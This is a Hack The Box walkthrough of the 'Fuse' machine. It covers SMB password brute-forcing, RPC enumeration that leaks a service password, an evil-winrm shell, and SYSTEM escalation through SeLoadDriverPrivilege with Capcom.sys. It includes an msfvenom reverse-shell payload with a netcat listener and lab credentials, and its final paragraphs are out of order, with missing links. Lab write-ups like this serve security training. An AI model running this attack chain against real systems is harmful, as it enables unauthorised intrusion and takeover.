Fuse
Last updated
Was this helpful?
Last updated
Was this helpful?
As usual, we start with an nmap scan, in order to find open ports in the target machine.
The following nmap command will scan the target machine looking for open ports quickly and saving the output into a file:
nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.193 -oN allPorts
-sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.
--min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.
-p- scanning the entire port range, from 1 to 65535.
-T5 insane mode, it is the fastest mode of the nmap time template.
-Pn assume the host is online.
-n scan without reverse DNS resolution.
-oN save the scan result into a file, in this case the allports file.
As we see, there are quite a lot of ports open.
Let's try to obtain the services and versions of these ports. The following command will scan these ports more in depth and save the result into a file:
nmap -sC -sV -p53,80,88,135,139,389,445,464,593,636,3268,5985,9389 10.10.10.193 -oN targeted
-sC performs the scan using the default set of scripts.
-sV enables version detection.
-oN save the scan result into file, in this case the targeted file.
First things first, let's add the domain names to the /etc/hosts file.
nano /etc/hosts
If we take a look at the website on http://10.10.10.193, we'll see a printer website.
We can see on the Print Logs section, three logs. If we click on the View button of each log, we'll see some users.
Let's add the users pmerton, tlavel, sthompson, bhult and administrator to a file. At this point, we can use the cewl tool. This tool makes a dictionary based on a web page.
cewl -w passwords http://fuse.fabricorp.local/papercut/logs/html/index.htm --with-numbers
-w write the output to a file.
--with-numbers accept words with numbers.
Now that we've got some users and passwords, we can try to brute force the SMB service with crackmapexec. The following command will try to log in with each users, and with each password from the dictionary. It continues trying in spite of finding valid credentials, and it doesn't show logon failures.
crackmapexec smb 10.10.10.193 -u users -p passwords --continue-on-success | grep -v FAILURE
-u users file.
-p passwords file.
---continue-on-success continues authentication attempts even after successes.
-v select lines which don't match.
It found that the Farbricorp01 password must be changed for the users tlavel and bhult.
The idea here, is to change the password of the bhult user, and then log in into the RPC server. Once we are logged in, we can enumerate all the domain users, as we have done in other HTB machines. Let's change the bhult password remotely with the smbpasswd tool.
smbpasswd -r 10.10.10.193 -U "bhult"
Now let's log with the user bhult and the password alfa8sa!$ into the RPC server.
You will have to log in into the RPC server quickly, because there is a scheduled task that changes the password that you've just already changed.
rpcclient -U 'bhult%alfa8sa!$' 10.10.10.193
From here we can enumerate several things. The first one are the domain users.
rpcclient $> enumdomusers
We can clean the output of the domain users and write it into a file.
rpcclient -U 'bhult%alfa8sa!$' 10.10.10.193 -c "enumdomusers" | grep -oP "\[.*?\]" | grep "0x" -v | tr -d "[]" > users
We can also enumerate printers. If we do it, we'll see a password at the description of the printer.
rpcclient $> enumprinters
Now we have a list of the domain users and the $fab@s3Rv1ce$1 password, let's see if we can have a shell via winrm as any user with that password.
crackmapexec winrm 10.10.10.193 -u users -p '$fab@s3Rv1ce$1' --continue-on-success
-u users file.
-p passwords file.
---continue-on-success continues authentication attempts even after successes.
And we see we can have a shell with the user svc-print and the password $fab@s3Rv1ce$1. Once we get the shell, we could grab the user flag.
evil-winrm -i 10.10.10.193 -u 'svc-print' -p '$fab@s3Rv1ce$1'
Let's see what privileges we have.
whoami /priv
First, let's create a folder on the desktop called FUSE, and open a command prompt inside it.
Next, let's download the EoPLoadDriver github repository, with the .cpp file on it.
Then we'll have to open Visual Studio Code, and create a new project.
Select the Console App.
Insert the project name.
To compile it, let's select Release and x64.
And finally, press Build > Rebuild Solution.
Once it ends, it will store the binary at C:\Users\alfa8sa\source\repos\EoPLoadDriver\x64\Release\EoPLoadDriver.exe. Let's move it to the FUSE folder.
Then, on Visual Studio Code, press on File > Open > Project/Solution... and select the ExploitCapcom.sln file. Next, select the ExploitCapcom.cpp on the Solution Explorer section.
Then compile it like before, and move the binary to the FUSE folder.
Finally, we have the EopLoadDriver.exe, ExploitCapcom.exe and the Capcom.sys binaries on our FUSE folder.
Let's transfer those into our Linux machine with the http.server python module.
python -m http.server
On our Linux machine.
wget http://192.168.1.190:8000/EopLoadDriver.exe
wget http://192.168.1.190:8000/ExploitCapcom.exe
wget http://192.168.1.190:8000/Capcom.sys
Now we need to create the malicious file which will send us a reverse shell. It has to be named reverse.exe.
msfvenom -p windows/x64/shellreversetcp lhost=10.10.14.22 lport=4444 -f exe -o reverse.exe
Now we have to upload those binaries to the victim machine. We can do it with the Upload functionality from evil-winrm. Let's move to the C:\Windows\System32\spool\drivers\color directory on the victim machine, and upload them with evil-winrm.
upload EopLoadDriver.exe
upload ExploitCapcom.exe
upload Capcom.sys
upload reverse.exe
dir
Before running the binaries, let's set a netcat listener on port 4444.
nc -lvnp 4444
-l listen mode.
-v verbose mode.
-n numeric-only IP, no DNS resolution.
-p specify the port to listen on.
Now all we have to do is run the following commands.
C:\windows\system32\spool\drivers\color\EopLoadDriver.exe System\CurrentControlSet\alfa8sa C:\windows\system32\spool\drivers\color\Capcom.sys
C:\windows\system32\spool\drivers\color\ExploitCapcom.exe
And we should get the reverse shell as the NT AUTHORITY\SYSTEM user. Then all we have to do is reap the harvest and take the root flag.
The SeLoadDriverPrivilege privilege is enabled. If you search how to escalate privileges with that privilege enabled, you'll find a great from Tarlogic which explains how to become the NT AUTHORITY\SYSTEM user.
The article explains that we have to use the EplLoadDriver tool. But, if we go to it's , we can only download a .ccp file. This means that we have to compile it on Windows.
git clone
Once the project is open, we'll have to copy the code and paste it into the project. Then we'll have to delete the first include line #include "stadfx.h".
It is also needed the Capcom.sys file. Download it from it's , and move it to the FUSE folder.
Then, we'll have to download the file and compile it with Visual Studio Code again. Let's clone the github repository.
git clone
At the end of the code, we can see that the binary is executing the cmd.exe program. But I am going to change that, becouse I want to execute a malicious file called reverse.exe, which is going to send us back a reverse shell. To avoid AppLocker, I will put the malicious file in a directory listed on the .
